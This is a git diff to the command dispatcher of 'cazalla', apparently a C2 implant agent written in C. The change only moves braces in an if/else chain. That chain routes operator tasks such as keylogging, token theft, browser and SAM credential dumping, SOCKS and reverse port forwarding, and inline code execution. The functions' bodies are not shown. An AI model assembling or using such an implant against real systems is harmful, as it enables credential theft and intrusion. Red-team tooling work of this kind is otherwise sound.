diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c index d537b93..59f5bed 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -115,63 +115,64 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { cerrarCallback(analizadorTarea); } else if (tarea == SLEEP_CMD){ sleep(analizadorTarea); + } #ifdef ENABLE_PS_CMD - } else if (tarea == PROCESS_CMD){ + else if (tarea == PROCESS_CMD){ listarProcesos(analizadorTarea); } #endif #ifdef ENABLE_CD_CMD - } else if (tarea == CD_CMD) { + else if (tarea == CD_CMD) { CambiarDirectorio(analizadorTarea); } #endif #ifdef ENABLE_LS_CMD - } else if (tarea == LS_CMD) { + else if (tarea == LS_CMD) { ListarDirectorio(analizadorTarea); } #endif #ifdef ENABLE_PWD_CMD - } else if (tarea == PWD_CMD) { + else if (tarea == PWD_CMD) { ObtenerPath(analizadorTarea); } #endif #ifdef ENABLE_CP_CMD - } else if (tarea == CP_CMD) { + else if (tarea == CP_CMD) { CopiarFichero(analizadorTarea); } #endif #ifdef ENABLE_MKDIR_CMD - } else if (tarea == MKDIR_CMD) { + else if (tarea == MKDIR_CMD) { CrearRuta(analizadorTarea); } #endif #ifdef ENABLE_RM_CMD - } else if (tarea == RM_CMD) { + else if (tarea == RM_CMD) { EliminarRuta(analizadorTarea); } #endif #ifdef ENABLE_CAT_CMD - } else if (tarea == CAT_CMD) { + else if (tarea == CAT_CMD) { LeerFichero(analizadorTarea); } #endif #ifdef ENABLE_DOWNLOAD_CMD - } else if (tarea == DOWNLOAD_CMD) { + else if (tarea == DOWNLOAD_CMD) { DescargarFichero(analizadorTarea); } #endif #ifdef ENABLE_UPLOAD_CMD - } else if (tarea == UPLOAD_CMD) { + else if (tarea == UPLOAD_CMD) { SubirFichero(analizadorTarea); } #endif #ifdef ENABLE_SCREENSHOT_CMD - } else if (tarea == SCREENSHOT_CMD) { + else if (tarea == SCREENSHOT_CMD) { CapturarPantalla(analizadorTarea); } #endif #ifdef ENABLE_SOCKS_CMD - } else if (tarea == START_SOCKS_CMD) { + else if (tarea == START_SOCKS_CMD) { _dbg("Received START_SOCKS_CMD"); startSocksHandler(analizadorTarea); } else if (tarea == STOP_SOCKS_CMD) { @@ -180,7 +181,7 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { } #endif #ifdef ENABLE_RPFWD_CMD - } else if (tarea == START_RPFWD_CMD) { + else if (tarea == START_RPFWD_CMD) { _inf("===== START_RPFWD_CMD (0x%02X) detected ====", tarea); _inf("Tarea %u: Llamando startRpfwdHandler()...", i+1); startRpfwdHandler(analizadorTarea); @@ -191,91 +192,91 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { } #endif #ifdef ENABLE_KEYLOG_START_CMD - } else if (tarea == KEYLOG_START_CMD) { + else if (tarea == KEYLOG_START_CMD) { _inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea); StartKeylogger(analizadorTarea); _inf("===== KEYLOG_START_CMD COMPLETED ====="); } #endif #ifdef ENABLE_KEYLOG_STOP_CMD - } else if (tarea == KEYLOG_STOP_CMD) { + else if (tarea == KEYLOG_STOP_CMD) { _inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea); StopKeylogger(analizadorTarea); _inf("===== KEYLOG_STOP_CMD COMPLETED ====="); } #endif #ifdef ENABLE_LIST_TOKENS_CMD - } else if (tarea == LIST_TOKENS_CMD) { + else if (tarea == LIST_TOKENS_CMD) { _inf("===== PROCESSING LIST_TOKENS_CMD (0x%02X) =====", tarea); ListarTokens(analizadorTarea); _inf("===== LIST_TOKENS_CMD COMPLETED ====="); } #endif #ifdef ENABLE_STEAL_TOKEN_CMD - } else if (tarea == STEAL_TOKEN_CMD) { + else if (tarea == STEAL_TOKEN_CMD) { _inf("===== PROCESSING STEAL_TOKEN_CMD (0x%02X) =====", tarea); RobarToken(analizadorTarea); _inf("===== STEAL_TOKEN_CMD COMPLETED ====="); } #endif #ifdef ENABLE_MAKE_TOKEN_CMD - } else if (tarea == MAKE_TOKEN_CMD) { + else if (tarea == MAKE_TOKEN_CMD) { _inf("===== PROCESSING MAKE_TOKEN_CMD (0x%02X) =====", tarea); CrearToken(analizadorTarea); _inf("===== MAKE_TOKEN_CMD COMPLETED ====="); } #endif #ifdef ENABLE_REV2SELF_CMD - } else if (tarea == REV2SELF_CMD) { + else if (tarea == REV2SELF_CMD) { _inf("===== PROCESSING REV2SELF_CMD (0x%02X) =====", tarea); RevertirToken(analizadorTarea); _inf("===== REV2SELF_CMD COMPLETED ====="); } #endif #ifdef ENABLE_WHOAMI_CMD - } else if (tarea == WHOAMI_CMD) { + else if (tarea == WHOAMI_CMD) { _inf("===== PROCESSING WHOAMI_CMD (0x%02X) =====", tarea); ObtenerUsuarioActual(analizadorTarea); _inf("===== WHOAMI_CMD COMPLETED ====="); } #endif #ifdef ENABLE_KILL_CMD - } else if (tarea == KILL_CMD) { + else if (tarea == KILL_CMD) { _inf("===== PROCESSING KILL_CMD (0x%02X) =====", tarea); MatarProceso(analizadorTarea); _inf("===== KILL_CMD COMPLETED ====="); } #endif #ifdef ENABLE_BROWSER_INFO_CMD - } else if (tarea == BROWSER_INFO_CMD) { + else if (tarea == BROWSER_INFO_CMD) { _inf("===== PROCESSING BROWSER_INFO_CMD (0x%02X) =====", tarea); IdentificarNavegadores(analizadorTarea); _inf("===== BROWSER_INFO_CMD COMPLETED ====="); } #endif #ifdef ENABLE_BROWSER_DUMP_CMD - } else if (tarea == BROWSER_DUMP_CMD) { + else if (tarea == BROWSER_DUMP_CMD) { _inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea); DumparNavegador(analizadorTarea); _inf("===== BROWSER_DUMP_CMD COMPLETED ====="); } #endif #ifdef ENABLE_SAMDUMP_CMD - } else if (tarea == SAMDUMP_CMD) { + else if (tarea == SAMDUMP_CMD) { _inf("===== PROCESSING SAMDUMP_CMD (0x%02X) =====", tarea); SamDumpHandler(analizadorTarea); _inf("===== SAMDUMP_CMD COMPLETED ====="); } #endif #ifdef ENABLE_INLINE_EXECUTE_CMD - } else if (tarea == INLINE_EXECUTE_CMD) { + else if (tarea == INLINE_EXECUTE_CMD) { _inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea); InlineExecuteHandler(analizadorTarea); _inf("===== INLINE_EXECUTE_CMD COMPLETED ====="); } #endif #ifdef ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD - } else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) { + else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) { _inf("===== PROCESSING INLINE_EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea); // This command is typically handled via subtasks in Python // But if called directly, we'll handle it here